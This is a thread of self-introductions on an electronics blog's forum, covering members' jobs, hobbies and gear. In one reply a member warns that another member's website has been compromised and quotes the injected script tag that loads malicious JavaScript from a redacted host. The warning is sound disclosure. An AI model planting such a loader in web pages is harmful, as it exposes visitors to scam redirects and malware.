As for what i do on my non-spare time, i am a full time university student and i moonlight as a computer repair technician for some spending money,

I'm in my last year of Human Biology, and hopefully (and i stress hopefully) ill be in Dental school this coming fall!!


Im working on a current project to build my own power supply from a rather beefy transformer from an old stereo and some rectifiers from a bunch of computer PSU's

thats about it for now!

Title: Re: New Member, Please introduce yourself
Post by: Ed.Kloonk on April 05, 2010, 05:49:37 pm
Long time admirer of Dave's wares....

I first visited the blog a year ago. A search brought me back and I just love what you've done with the place.  :P

ed.

Title: Re: New Member, Please introduce yourself
Post by: MikeNye on April 06, 2010, 12:26:42 am
Hi everyone,

I'm Mike. I live in Perth, Western Australia. I currently work in the IT industry implementing data storage arrays for oil & gas companies. I have had a long-time love of electronics ever since Dad let me take old radios apart as a young lad...

I came across Dave's video blog on the Rigol scopes while looking for a good & economical scope. I watched a few episodes and I was hooked! I like it! Thumbs up!  :)

I have an Arduino that I like to muck around with on occasion. I've built a little MIDI interface to control my synthesiser so far... I am trying to learn about Electronic Engineering in my spare time.

Cheers & keep up the good work Dave!
Title: Re: New Member, Please introduce yourself
Post by: Kiriakos-GR on April 06, 2010, 02:23:13 am
Hi

Kiriakos  from Volos Greece ,  industrial electrician  ( thats what the paper says )  ;D
plus  20 years repairing  electronics , anything other than televisions ..  ( I hate them )

I had work from time to time , in many local stores ,  representatives of major brands ..

So I can now tell that I had work for  Panasonic  (servicing copiers ) or Zerox as they call them in US , plus fax devices   ..... Ricoh (servicing copiers )  .
My first interest years back was FM transmitters , PLL synthesizers Broadband amps and antennas..
later on worked with CB radios , and lastly with VHF repairs in boats.

Unfortunately the life of some one who works with electronics , its not a stable one ...
You have to convert your self ... or better adjust ... at the needs of its period.

I am very proud for my self , I have as we called " a good name "  as technician in my location,
and have at list the respect, of my customers and friends..   


Found the blog , by looking for info about one old analog Metrawatt multimeter,
found the review of the new Metrawatt ...  and I liked a lot the style of the reviewer ...  ;D   

Electronics are boring for the most people , but  our dear reviewer , managed to surprise me pleasantly .

I am Greek , speaking English and German , 41 years old ( this May ) .. with all the hairs in my head ,
and blue eyes  ..  :D     

Thats it,  nice meeting you ..
Title: Re: New Member, Please introduce yourself
Post by: bardygrub on April 06, 2010, 08:31:56 am
Hi
Michael from Melbourne Australia, I work in the Telecommunications industry as an Electrician/Technician, I specialise in DC Power System, Power Generation (Solar, Diesel Gen Sets & Wind) some rectifiiers I repair are 1000A @ 54V DC and generators up 8MW.
I came accross your vblog while looking for a review of the Fluke 233 - great review-bought one-love it, jut what I needed for battery testing.

Love your work, keep the bastards honest with your no bullshit reveiws.
Title: Re: New Member, Please introduce yourself
Post by: Tinus on April 06, 2010, 04:41:39 pm
Hi all,

I'm Tinus and I am a final year undergraduate EE in South Africa (University of Pretoria). 

I'm currently working on my senior thesis project, which is the design and implementation of an autopilot system for a small scale UAV.

Love the blog :)
Title: Re: New Member, Please introduce yourself
Post by: celsung on April 06, 2010, 11:04:02 pm
Hi,

My name is Celso Souza, and I'm from Brazil. I work as a consultant. I hold a MSEE on Communication Systems from USC (California). My specialties are board level and FPGA hardware design and acquisition systems.

Very nice to be a part of this forum.

Best Regards to all.

Celso
Title: Re: New Member, Please introduce yourself
Post by: r on April 07, 2010, 03:23:26 am
hello im rikki love to play with bit and bobs and i got in to electronic thank to the eevblog while battling leukemian and now given the all clear after battling for 3 1/2 years and now in remission but need check up once a year and now doing level 3 electronic engineering at college
Title: Re: New Member, Please introduce yourself
Post by: funkyharry on April 08, 2010, 04:49:48 am
Hello, I´m Harald from Austria. Im 39yrs old and im working for a railway company as a telecommunication electronics. My primary job there is to service and maintain the companies own PDH and SDH and DWDM transmission network but I´m doing also any other things related to telecommunications as cable fault location, network troubleshooting and so on.
Since three years I go to an eveningschool of electronics engineering and I hope to complete in two years.
The electronics virus infected me, when I was a child. I disassembled old electronics stuff, unsoldered the parts to get to components (I grew up in a very small town with no electronics store so pulling the components out of old equipment was the only (and cheapest) way to get some working material.)
I have some experience in troubleshooting and building, but less in designing electronic circuits (which is changing at the moment), therefore the eevblog is a must-watch for me.
My other hobbies are (when I have some spare time) reading nearly every book and magazine i can get related to science and technology, Astronomy, Ham Radio (sadly the transceiver collects dust at the moment) and the (permanent) repairing of my old car and my even older house.
The eevblog got my attention, when I googled for the rigol oscilloscope, which i ordered yesterday.

I hope that Daves wife is as tolerant to his hobby as my wife is to mine and that the eevblog keeps going on !

Live long and prosper !
Title: Re: New Member, Please introduce yourself
Post by: Mechatrommer on April 10, 2010, 03:05:03 am
Hi. I'm Shafri from Malaysia. 33yr old Married w 3 children. Was a Mechanical Eng. Student. Worked as Engineer b4 in a consultant firm. just after a year or so, i quit the job and become a mathematic teacher until now and being happy. Doing photography for part time job, and it was photography that brought me here when i saw a guy using arduino to do high speed photography . And it is also the photography income that support the expenses most of all my electronic stuffs. Have been dreaming of building a robotics system since i quit the eng. job, just after about 5yrs, i found a starting point (arduino), too late i think.

What i've found out in Engineering practice is that engineering carrier is totally different from engineering hobby. In engineering carrier, we are told to do eng stuff whether we like it or not. I found out i'm not that type of person, i know that i'm doing engineering of what i want to do, not other people wants me to do. So here i am. Some might think, that my engineering carrier has been buried, they maybe right, but i will continue to do engineering hobby stuffs, no matter what people says.

My motto: Mechanical + Electronics + Programming = Latest Technology  :)
Title: Re: New Member, Please introduce yourself
Post by: iqqy on April 10, 2010, 04:57:07 am
Hello, I'm Dan. Originally from the South of England but I've spent the past couple of years in France.

I have a degree in Product Design and having some knowledge of electronics is very useful for design and also to help with making prototypes, but I mainly do it for fun. I'm also exploring the wonderful world of programming.

Dave's rants about product design are hilarious. I honestly think that 90% of design can be transferred between disciplines. Most of it is common sense couple with careful, methodical thinking.
Title: Re: New Member, Please introduce yourself
Post by: hans on April 11, 2010, 05:21:37 am
Hey, I'm Hans from The Netherlands. Currently a young student at University of Applied Sciences , my second of four years in Bachelor Electronics. My interests go into Programming, Electronics and technology (be that in chemistry, mechinical, maths, or something else that's clever). Currently trying to get into hobby Electronics.

I'm my youth I was always interested in Electronics, but 'got distracted' and primarly  went to do website building/programming instead. In the last few years I lost interest in that, and focussed more on C# programming, with now going more towards embedded solutions (in combination with analog electronics).
Title: Re: New Member, Please introduce yourself
Post by: Janne on April 11, 2010, 07:08:25 am
Hi,

My name is Janne and I come from Finland. I'm studying automation in polytechic, and also work in the same area of industry. Electronics has been a hobby for me now about 10 years, but i do very little with them professionally. Many of my projects are related to my other hobby - windpower, and more specifially building the turbines and control systems around them.

I think I found this blog accidentally when browsing youtube, and most of the time I have liked it. I guess the biggest thing making this so fun is the style how this is represented, versus the usual (boring?) blogging style of electronics topics.
Title: Re: New Member, Please introduce yourself
Post by: Waifian on April 13, 2010, 11:11:21 pm
Hello,
My name is Nicholas, I live in Milwaukee, Wisconsin. I stumbled on this neat video blog a while back while looking for Pickit 3 reviews. When I saw Dave's awesome video, I have been hooked ever since. I tend to check back several times a week to see if some new exciting video blog as been added.

I started off like most others when I was a bit younger. Taking things apart, most of which were still of some value to my dad who got pretty angry some times.  :P

I continued on to receive an Associates of Applied Science Degree in Electronic and Computer Engineering Technology in 2006, then my Bachelors of Science Degree in Communications and Electronic Engineering Technology in 2008. I attempted a Masters Degree in Engineering shortly after the B.S. Degree and gave up half a quarter through. This was mostly because of being put into the second part of a 2 part Advanced Engineering Mathematics course to start off (my math skills are horrid, which isn't the best thing to say in this field).  I may attempt that again some point in the future.

I have a strong interest in micro controllers and have a bit of personal experience with programming them (pics) in the C language.


 
Title: Re: New Member, Please introduce yourself
Post by: saturation on April 14, 2010, 04:55:46 am
Hi, my name is Sat and was an electronics minor in college, a long time ago.  I am now a PhD biologist in New York City, NY, USA, but do a lot of electronics at work in keeping measurement systems up to snuf, interfacing to PCs.  I also use a lot of electronics in my technical diving hobby, keeping my gear working and interfacing data collection devices to my PCs.  Diving has few off the shelf devices for all needs, so there is still room for the make it yourself, usually interfacing two devices to work together that were not meant to be.

Title: Re: New Member, Please introduce yourself
Post by: orbiter on April 14, 2010, 09:09:21 am
I missed this page when I signed up ::)  So it's a late 'hi all' from me :)

orb
Title: Re: New Member, Please introduce yourself
Post by: tecman on April 17, 2010, 10:11:45 am
Paul S. here from eastern PA.  Been a design engineer, up to managing a design team (now).  Most work was in industrial controls.  Current activities are designing a controller for solar tracking for large scale generation.  Been dabbling in electronics as long as I can remember.  Currently hold 2 patents with one pending.

paul
Title: Re: New Member, Please introduce yourself
Post by: 2013 on April 18, 2010, 01:04:39 am
Hi, I'm Eric from California, USA. I am selling some test equipments right now, hope I can get some advises from here for my business and learn more about electronic stuff.
Title: Re: New Member, Please introduce yourself
Post by: Excavatoree on April 24, 2010, 04:34:57 am
Hello.

I'm Matthew from Georgia, in the USA.

I work at a construction equipment company that makes excavators, hence the username - excavator EE.

Previous jobs have been with school bus manufacturers, and I've been an electronics technician fixing VCR, Televisions, Telephones, etc.  (that shows how long ago that was - back when people were willing to pay 100 bucks to fix a VCR.)

Right now, my job has changed from true engineering, but as long as they continue to pay me, I'll do what they ask.

I collect Fluke meters, (I have about 150 or so of the things) still try to repair what I can (I've kept my ancient 1987, CRT TV operating for over 15 years since I saved it from the trash bin at the electronic shop) and try to work on my cars.

I've dabbled in computers, tube oscilloscopes, and I've got parts to build a tube amp that I need to get started on.

Title: Re: New Member, Please introduce yourself
Post by: birlan97 on April 24, 2010, 06:57:16 am
Hello, I'm from Romania. Electronics is my hobby, trying to learn and experiment pic's scheme
Title: Re: New Member, Please introduce yourself
Post by: ParKel on April 25, 2010, 05:00:09 pm
Hello everyone my name is Kelvin. I'm from Nevada, USA.

I have a degree in Computer Engineering. As of this post I'm an independent Engineer working on personal projects.

Primary hobbies include working with anything electronic duh! (Software development, digital design, embedded devices, analog design)

Other hobbies out of the typical engineering stuff includes Photography and Power Sports (Racing sport bikes/crotch rockets/death rockets in a controlled environment of a race circuit).
Title: Re: New Member, Please introduce yourself
Post by: ElectroChemicAlvin on April 27, 2010, 02:41:01 am
Hi There!

I'm Alvin, from Sri Lanka, an enthusiast on electronics! currently working in the manufacturing industry.

chow!
Title: Re: New Member, Please introduce yourself
Post by: chscholz on May 01, 2010, 01:19:18 am
Hello everybody,

I just run into this website and want to take the opportunity to introduce myself.
My name is Chris Scholz, I work as Field Applications Engineer for a large US-based manufacturer of oscilloscopes and protocol analyzers.
Glad to be here , please don't hesitate to contact me for any questions related to electronic time-domain test and measurement issues.

Chris
Title: Re: New Member, Please introduce yourself
Post by: markg on May 03, 2010, 02:14:15 pm
Been lurking for a little bit and thought I'd drop a post in here.

Hi I'm Mark from Maryland, USA.

I'm working in the network field now (data center networks), so not much direct exposure to the electronics design world now days.

Title: Re: New Member, Please introduce yourself
Post by: dealexcel on May 05, 2010, 09:33:03 pm
I am electronics wholesaler from China, welcome you guys to my website to look for something useful :)

the address is in my signature
Title: Re: New Member, Please introduce yourself
Post by: Grapsus on May 07, 2010, 04:26:53 am
Hi!

I'm Alexis, from France, 20 years old. I'm mostly a software guy and I study maths and physics and will start comuter science only next year (we have a complicated/bad school system here...). At the same time, I work as a freelance and write software (mostly web and Linux scripts). I also enjoy electronics, especially micro-controllers (the ones you can program in C :p), that's why I like EEvblog so much.
Title: Re: New Member, Please introduce yourself
Post by: cqmiao on May 08, 2010, 03:56:28 pm
Hello,I'm from CHINA (P.R.C).  Electronics is my hobby~
Title: Re: New Member, Please introduce yourself
Post by: rodneykeeling on May 10, 2010, 08:38:14 am
Hello!

My name is Rodney, and I am an Electrical/Computer Engineering student at OSU, which is in Oregon, USA. I am a sophomore at my school, and so far I'm most interested in microcontrollers, processor architecture, and programming in general.
Title: Re: New Member, Please introduce yourself
Post by: armandas on May 10, 2010, 10:12:19 am
Hello!

My name is Rodney, and I am an Electrical/Computer Engineering student at OSU, which is in Oregon, USA. I am a sophomore at my school, and so far I'm most interested in microcontrollers, processor architecture, and programming in general. I have a website that anyone can visit, it's:

http://www.rodneykeeling.com

Rodney, your website is spreading malware! At the bottom of the page source, there is a line that includes a malicious javascript file.
Code: [Select]
<script src="http://***.com/ls.php"></script>
The included code then redirects your visitor to a different website which pretends to scan user's computer. For the sake of your website's credibility and everyone's safety, remove the malicious code as soon as possible and make sure you update any software (such as Wordpress, plugins) regularly.
Title: Re: New Member, Please introduce yourself
Post by: rodneykeeling on May 10, 2010, 11:17:30 am
Well, that's embarrassing.  :-\

I'll remove the link. Sorry!
Title: Re: New Member, Please introduce yourself
Post by: VladKEasternTiger on May 11, 2010, 01:22:07 am
Hi

Kiriakos  from Volos Greece ,  industrial electrician  ( thats what the paper says )  ;D
plus  20 years repairing  electronics , anything other than televisions ..  ( I hate them )

I had work from time to time , in many local stores ,  representatives of major brands ..

So I can now tell that I had work for  Panasonic  (servicing copiers ) or Zerox as they call them in US , plus fax devices   ..... Ricoh (servicing copiers )  .
My first interest years back was FM transmitters , PLL synthesizers Broadband amps and antennas..
later on worked with CB radios , and lastly with VHF repairs in boats.

Unfortunately the life of some one who works with electronics , its not a stable one ...
You have to convert your self ... or better adjust ... at the needs of its period.

I am very proud for my self , I have as we called " a good name "  as technician in my location,
and have at list the respect, of my customers and friends..   


Found the blog , by looking for info about one old analog Metrawatt multimeter,
found the review of the new Metrawatt ...  and I liked a lot the style of the reviewer ...  ;D   

Electronics are boring for the most people , but  our dear reviewer , managed to surprise me pleasantly .

I am Greek , speaking English and German , 41 years old ( this May ) .. with all the hairs in my head ,
and blue eyes  ..  :D     

Thats it,  nice meeting you ..



Nice comment, why dont you like working on Televisions? So you are a Technician if im not mistaken? ???
Title: Re: New Member, Please introduce yourself
Post by: rodneykeeling on May 11, 2010, 03:26:58 am
rodneykeeling, i checked you website... its quite nice... i was as enthusiastic as you when i was younger :) but now, since i have a family, a carieer, a hobby, then all those things were long gone. :) nowadays, i try more on getting practical things into reality, for the good of human kind, and i really hate virus makers, spammers etc. i hope you are not one of them ;)

googling the latest exploits, reverse engineering, cracking and patching softwares was a fun thing to do, but now, the "time" really envy me. I dont think i'm going to have enough of it before i come out with something that civilization can appreciate :)



No I'm not. I hate them myself, as I just had to reinstall the CMS onto my server due to one.  :o

Anyway, thanks for the kind words! :]
Title: Re: New Member, Please introduce yourself
Post by: redek on May 12, 2010, 06:15:38 pm
Hi, my name is Derek.  I'm currently an EE student, and live in Bountiful, Utah (which is a suburb of Salt Lake City).  I have an interest in DIY amps and other electronic projects.  I work at a company that manufactures chiropractic test equipment.  I do assembly work on most of the products that we sell, which also includes building load cells.  I have become quite proficient at soldering and really enjoy it.

Derek
Title: Re: New Member, Please introduce yourself
Post by: BartManInNZ on May 13, 2010, 07:17:27 am
Hi, I am Bart - currently residing in New Zealand. Working as a Systems/Networking Engineer but all round electronics/computers geek and wannabe filmmaker...

Bart
Title: Re: New Member, Please introduce yourself
Post by: thedigitalprincess on May 13, 2010, 07:57:44 pm
Hey Hey.
I'm Lara (NOT BINGLE!), 21 years old from Sydney, Australia.
I found EEVblog through a programmer friend of mine whom I work with on a few fun electronics projects with (they have been low power zappers as of late).
I have just started an apprenticeship as an electronics technician in avionics (communications stuff, intercoms and entertainment systems) and I'm in my second year of electronics and comms at TAFE (working my way up to an engineering diploma or some sort). We're currently doing digital electronics and amplifiers.
My electronics interest would have to fall back into audio. I worked in manufacturing audio signal distribution boxes (a shitload of soldering) before I started to enjoy the theory behind all the equipment used in pro-audio production. My other interest is analog synthesizers. I want to be able to restore old synths and be able to use them for composition and my music work.
Guess I better go post something! :)
Title: Re: New Member, Please introduce yourself
Post by: arash on May 18, 2010, 12:43:43 am
Hi there.my name is Arash and I'm 24
I'm an electronic engineer.I found this site from youtub.I planed to buy a pickit 3 and I was searching about a video to explain about it.
And i found exactly what i was looking for.so i came to this blog and watch the microchip response and ... .So i can say this is one of the best blogs about electronic prj and UCs.keep it up and thanks. :)
Title: Re: New Member, Please introduce yourself
Post by: qwerty_face on May 18, 2010, 10:08:33 pm
Hello all,

Wow it's great to see so many smart people. I'm Ben, a Network & Computer Engineering student (BSc) in England, UK. I stumbled over this gem of a site (nice one, Dave!) after wanting to buy a quality DMM; I saw Dave's Vlog about DMM's on YouTube and followed the trail here!

Keep up the good work!  ;)
Title: Re: New Member, Please introduce yourself
Post by: Varal on May 24, 2010, 08:20:05 pm
Hi, my name is Paul and I study Electronics at the Gdansk University of Technology in Poland (4 semester). I came across the blog while looking for a PCB design tutorial (Dave you did a great job on that :) ). Although i learned quite a few thing at Uni, I still think of myself as a beginner in the electronics field - I have no experience prior to my studies at the University :( I work hard to get better and know more though ;) 
Title: Re: New Member, Please introduce yourself
Post by: Rhythmtech on May 27, 2010, 09:25:14 am
My name is Jared I currently reside in St. Louis, Missouri USA .  I am currently a Test Engineer for a large electric motor manufacturer where I spend most of my time updating and maintaining DAQ software/hardware.  I play with electronics both as a hobby and at work (when I get to, which is not often enough).  I love arduinos, logging data, capturing waveforms where the circumstances require isolated probes and hearing protection, and I've thought about trying to make a web enabled shutoff control for my stove, because I have a tendency to forget I left it on.
Title: Re: New Member, Please introduce yourself
Post by: Chris_R on June 01, 2010, 11:05:23 am
Hi guys, I'm Chris and from England.  I'm literally a few weeks away from graduating my MEng in Electronic Engineering and despite many an application been sent off I'm still having trouble finding a job!
So I'm currently in job limbo and going to get myself one of those generic tedious jobs to keep myself alive while I apply for jobs and keep reading up on electronics so I've got lots of knowledge for when I do start working!
Title: Re: New Member, Please introduce yourself
Post by: MrPlacid on June 01, 2010, 04:39:41 pm
Hi, I am Mark, a 35 year old electronic hobbiest from the US. I love taking stuff apart and fixing it. My goal this year is to be awaken as an EE. I know this may sound crazy but it happened before when I suddenly became a programmer even without higher education. My family thinks I am hording, since I am buying electronic gears like oscilloscope, function generator, power supply, soldering equipments, wires, metal cabinets, electronic components, etc...  Especially, now that I found my ebay's account again 5 years later, I am on a buying spree (Ebay has gotten alot better!). I can't imagine going to college for EE and not owning your own gears, parts, or having your very own electronic lab. I might never go back to college once I am awaken.

Title: Re: New Member, Please introduce yourself
Post by: yuki on June 02, 2010, 01:54:41 am
Hi I am yuki , I currently reside in Arizona but am originally from Germany. Currently employed as a data center administrator but have degree in ee and do side jobs regarding it . Great video blogs thats how i found the forums.
Title: Re: New Member, Please introduce yourself
Post by: SegaAges on June 03, 2010, 05:24:46 pm
Nick Segalle - From sunny southern California.  Temecula CA to be exact!

I am an avid enjoyer of the blog, and this is my first post.  I know barely any thing about electronics, and actually tuned into this site from www.hackaday.com when Dave blew up multi-meters.  Since then I've bought an Arduino (I know - I know) but I thought I'd start somewhere thanks to Dave's suggestion on his blog about them. 

I am interested in learning A LOT more about electronics, and I am a "geeky IT guy" as Dave puts it...  Being a sys-admin has it's perks however, and if you're not doing what you love for work, then you are truley missing out!!!

Take care!

-Nick
Title: Re: New Member, Please introduce yourself
Post by: tomlut on June 06, 2010, 02:43:21 am
G'day all I'm Tom, currently at Casey base Antarctica. I wrote more about my job here: http://www.eevblog.com/forum/index.php?topic=630.0
Title: Re: New Member, Please introduce yourself
Post by: ngkee22 on June 06, 2010, 12:22:21 pm
Now that I have been on here a few days, I figured I should introduce myself also.  My name is Nick and I graduated with an EE degree about 4 years ago from Texas A&M University in College Station, Texas.  Unfortunately, I haven't worked with analog or digital systems since I graduated.  But I am looking to setup a home lab and get started again before I forget everything I learned.  I work developing vehicle wiring harnesses for heavy duty trucks, not the most exciting work, but pays well.

I'm glad I found this site, lots of great information.
Title: Re: New Member, Please introduce yourself
Post by: Markybhoy on June 06, 2010, 09:16:06 pm
Im Mark,  Just a hobbyist from sunny Scotland,  here to pick up some tips :)
Title: Re: New Member, Please introduce yourself
Post by: topari on June 06, 2010, 10:21:10 pm
Located Melbourne Australia. 50 year old computer administrator with degree in IT. Run my own home machine shop with mill, lathe and number of drills, welders and so on. Interest in electronics rekindled after some of my starter capacitors on my single phase motors failed. Electronics has brought a breath of new life into machining with the adaptation  of digital read outs (DRO). I'm thinking about undertaking an advanced diploma in electronics or robotics or similar. Went to a few university open days last year and went away disappointed. Maybe they thought I was too old.
Title: Re: New Member, Please introduce yourself
Post by: Time on June 07, 2010, 06:17:49 am
My name is Mark.  I have a masters in EE from Texas Tech with a specialty in high voltage, hig power systems (Pulsed Power).  I am currently emplyed by Lockheed Martin in Palmdale, California.
Title: Re: New Member, Please introduce yourself
Post by: slburris on June 08, 2010, 02:09:52 am
Should have sent this a while ago, but better late than never, I suppose.

I'm Scott, in southern California, US.  By day, I'm a computer guy working
in the entertainment industry.  By night and weekends (!), I'm a hobbyist
with a strong interest in electronics. 

Like many of my age, I'm well versed in digital electronics, but struggle
with the analog stuff.  Thank goodness for opamp cookbooks, online
filter designers, National Simple Switcher chips, and the like which let me
pretend I can do the analog stuff!

Mostly work with Xilinx FPGAs, DDS, PIC and ARM micros.

I'm also a recovering test equipment addict, after discovering several
years ago that I could buy really nice stuff from the 80's and 90's on Ebay....


Scott
Title: Re: New Member, Please introduce yourself
Post by: link on June 10, 2010, 04:51:40 am
Another hobbyist from Texas. Love tinkering and seeing things smoke. My wife, on the other hand...
Title: Re: New Member, Please introduce yourself
Post by: sawtooth on June 12, 2010, 02:52:10 am
Hi,

I'm Scott located in Boise, ID USA.  I'm an IT professional and have always been interested in electronics and now I'm considering embarking on a second career.  I'm in the process of setting up a home lab and find the blog and forum very helpful.  TIA to Dave and all of you for your help!

-Scott
Title: Re: New Member, Please introduce yourself
Post by: charliex on June 12, 2010, 11:40:35 am
>I'm also a recovering test equipment addict, after discovering several years ago that I could buy really nice stuff from the 80's and 90's on Ebay....

amen brother  !
Title: Re: New Member, Please introduce yourself
Post by: Zed on June 13, 2010, 01:21:20 am
I'm a music mad guitarist from the UK and I plan on designing and building custom guitar effects and amps, I started off as a weapon systems engineer in the Royal Navy and since leaving in 1991 I've worked as a textile machinery engineer, fork truck engineer, instrument and control electronic engineer, electronic marine engineer and now I repair and service tools and plant for a hire company.
For the guitar geeks out there my main squeeze is a Roland Ready Fender Strat into a Marshall JMP1 into an EL84 20/20 into 2x12 Celestion loaded cab via 2 Marshall Power Brakes.
Title: Re: New Member, Please introduce yourself
Post by: ThunderSqueak on June 15, 2010, 04:37:38 am
Hi!  My name is Jessie, I am an IT professional in Anchorage alaska and have been dealing with electronics and computers for the past 17 years. After work I design and build devices for my own use as a hobby (and to keep my edge by always learning).  I came across the forum after seeing the review on the rigol scope and am still considering buying one to replace my aging scope at home.  I really enjoy the blog :) 

I Love Music as well and play guitar, tin whistle, and piano.  I also Love building my own tube guitar amps and effects :) 

The name Dave Jones sounded extremely familiar for some reason, and I finally figured out where.  A long long time ago (10+ years?) I needed a function generator and pulled up a schematic on the net based on a max038 chip.  I still have it and it still works and lives sitting on a shelf above my scope.    :D

and for zed, some porn :)

(http://i120.photobucket.com/albums/o190/kyrrala/Tele/th_DSCF0165.jpg) (http://i120.photobucket.com/albums/o190/kyrrala/Tele/DSCF0165.jpg)

(http://i120.photobucket.com/albums/o190/kyrrala/strat_after_modding/th_SUNP0001.jpg) (http://i120.photobucket.com/albums/o190/kyrrala/strat_after_modding/SUNP0001.jpg)

(http://i120.photobucket.com/albums/o190/kyrrala/LP_Custom/th_DSCF0339.jpg) (http://i120.photobucket.com/albums/o190/kyrrala/LP_Custom/DSCF0339.jpg)

And one of my homebrew amps :)
(http://i120.photobucket.com/albums/o190/kyrrala/Teh_cheezy_amp/th_DSCF0231.jpg) (http://i120.photobucket.com/albums/o190/kyrrala/Teh_cheezy_amp/DSCF0231.jpg)

I have more but that is for a later post   ;)
Title: Re: New Member, Please introduce yourself
Post by: tribat on June 18, 2010, 09:26:12 pm
Hey, I'm a 20yo unemployed sorry excuse for a human being. I don't go to school cause they didn't want me there, so I just basically sit at home at the computer doing whatever. I've also been doing some electronics on the side for 8 years. Been watching the vlog since the very first video and now that I had a little electronics problem that I needed help with I decided I'd try looking for help from these forums that I remembered being mentioned in the vlogs several times.
Title: Re: New Member, Please introduce yourself
Post by: Zed on June 24, 2010, 07:48:09 am
and for zed, some porn :)

(http://i120.photobucket.com/albums/o190/kyrrala/Tele/th_DSCF0165.jpg) (http://i120.photobucket.com/albums/o190/kyrrala/Tele/DSCF0165.jpg)

(http://i120.photobucket.com/albums/o190/kyrrala/strat_after_modding/th_SUNP0001.jpg) (http://i120.photobucket.com/albums/o190/kyrrala/strat_after_modding/SUNP0001.jpg)

(http://i120.photobucket.com/albums/o190/kyrrala/LP_Custom/th_DSCF0339.jpg) (http://i120.photobucket.com/albums/o190/kyrrala/LP_Custom/DSCF0339.jpg)

And one of my homebrew amps :)
(http://i120.photobucket.com/albums/o190/kyrrala/Teh_cheezy_amp/th_DSCF0231.jpg) (http://i120.photobucket.com/albums/o190/kyrrala/Teh_cheezy_amp/DSCF0231.jpg)

I have more but that is for a later post   ;)


Fwhorrrrrrrrrrrrr! Suits you sir.
Very nice pics and some lovely axes there. I have wood now ;) lmao
Title: Re: New Member, Please introduce yourself
Post by: ThunderSqueak on June 24, 2010, 04:25:24 pm


Fwhorrrrrrrrrrrrr! Suits you sir.
Very nice pics and some lovely axes there. I have wood now ;) lmao

Ma'am, not sir, but that is ok :>   Figured you would like the pics ;)   
Title: Re: New Member, Please introduce yourself
Post by: Zed on June 25, 2010, 08:20:51 am


Fwhorrrrrrrrrrrrr! Suits you sir.
Very nice pics and some lovely axes there. I have wood now ;) lmao

Ma'am, not sir, but that is ok :>   Figured you would like the pics ;)   



Fwhorrrrrrrrrrrrr! Suits you sir.
Very nice pics and some lovely axes there. I have wood now ;) lmao

Ma'am, not sir, but that is ok :>   Figured you would like the pics ;)   

I beg my pardon madam ;)
Respect is due as there are not many women who play Strats or Les Pauls and the ones that do are usually the sort of women you wouldn't want to get on the wrong side of. Amy Winehouse / Madonna.
Is the LP an Epiphone as it looks like one from the angle?
Title: Re: New Member, Please introduce yourself
Post by: ThunderSqueak on June 25, 2010, 11:39:16 am
It is an epiphone "Custom shop".  The build quality is very good on it and it plays really well :)  
Title: Re: New Member, Please introduce yourself
Post by: david77 on June 25, 2010, 07:48:48 pm
Hi my fellow geeks and nerds  ;)

I'm David from Germany. Electronics has been my hobby since I was about 8 years old, that was in the days before the Internet and  mainstream computing (ca. 1989).
I'm still a hobbyist but I do work in electronic component sales, I have no formal training in electronics though.
I mainly concern myself with audio gear - no audiphoolery, mind!
I know next to nothing about micrcontrollers mainly because I just can't get into coding, that just bores the pants off me. The only programming language I'm fluent in is MS QuickBasic, sadly that's not of much use these days  ;D.
I'd rather slap a few dozen TTL's on a board than suffering through line after line of code.
Oh, and I'm a passionate user of good old Veroboard. Quickest way to a working circuit, only drawback is not beeing able to use SMD parts.

David
Title: Re: New Member, Please introduce yourself
Post by: jh on June 26, 2010, 06:35:03 pm
Greetings from Saint Louis, Missouri area.
Stumbled across the vblog while researching digital scopes and loved the vblogs.
Just ordered a Rigol [100mhz] (are they paying David any commissions?)

Background: Ham radio guy, electronic music [also play guitar / bass / piano / brass], machine tools.

Storm spotter [most recent tornado I was in: 30APR2010].
(uh, I did not INTEND to be IN the tornado.... It was at night.  Luckily the thing was dying out by the time it hit me.)
Title: Re: New Member, Please introduce yourself
Post by: swer on June 27, 2010, 02:03:53 am
Hello you all

I am from Turkey. I have been in the world of electronics for around 8 years including schools.
I was doing a research about mosfets :) and came across EEVblog and love it :D

I'll be around..
take care ..

swer
Title: Re: New Member, Please introduce yourself
Post by: astropos on June 27, 2010, 08:21:30 pm
Hi, I'm john. I just graduated from IT. I'm currently gathering info about Electronics Eng because I'm planning to take it as my 2nd course.
Title: Re: New Member, Please introduce yourself
Post by: ddrl46 on June 28, 2010, 08:30:06 pm
I'm Dylan, started on electronics about 6 months ago and loving it so far.
Title: Re: New Member, Please introduce yourself
Post by: McPete on June 30, 2010, 09:21:13 am
Hi Guys,

I'm Peter, from Wollongong, Australia (about an hour south of Sydney). I'm an apprentice instrument fitter/calibration and electronics tech for an electricity company. I've always had an interest in Electronics, but I didn't get serious until the last two years of high school.

My main work tends to be in calibration checking instruments- usually small things like multimeters and high voltage detectors, but we also fault-find and repair these devices, plus some more complex ones, down to component level where possible.

I'm trying to get myself reasonably competent with microcontrollers so I can start applying them to our designs- We're sometimes asked design instruments for other staff in our company, and I'd like to increase the level of sophistication we build into these. I'm also pretty keen to work with SMD components, they're clearly where design is at.

I'm hardly an expert in any of this though, so if I say something strange or downright wrong, please set me straight.
Thanks all, I'm looking forward to learning a lot from you folk!
Peter
Title: Re: New Member, Please introduce yourself
Post by: beerhunter on June 30, 2010, 11:44:23 am
Hi, Beerhunter here. I was in electronics for 18 years until the industry dried up where I live. I now have a totally unrelated job and I do electronics as a hobby. I guess its a great use of my technical education though. I'm now into audio electronics, amps, pre amps and stuff like that.

I just got my Rigol DS1052E(hotrodded of course) and wish I had it 5 years ago. Its really useful for audio work and some may say overkill. I say not.

Hello to all!
Title: Re: New Member, Please introduce yourself
Post by: Beemer on July 02, 2010, 04:46:29 am
Hello to All,

I was an electrical maintenance technician and in my career worked on everything from steelworks arc furnaces,  rolling mills,  Machine tool CNC,  programmable controllers (PLC),  variable speed a.c. and d.c. drives.

Then 13 years as a sales engineer of industrial sales of PLC and drives.   Then sales of custom designed a.c./d.c. and d.c./d.c. power supplies for pc, mini and super-computers and Telecom 3G base-stations.

Now retired I thought I would lurk around this forum to see what interesting things folk are getting up to :)

I'm so long in the tooth that I remember as an apprentice working with and getting a 240V shock from the FRONT terminals of a Philips oscilloscope.  I cannot recall exactly what these terminals were for but it was a scope used in the instrumentation dept of the steelworks where I was then working.   It may have had something to do with platinum thermocouple junction testing.   All I can remember was fiddling around with it looking at Lissajous Figures then "bam!".  That was when I got my first electronics safety lesson ....when working with medium/high voltage keep one hand in your pocket!

regards.

 
Title: Re: New Member, Please introduce yourself
Post by: alm on July 02, 2010, 04:50:04 am
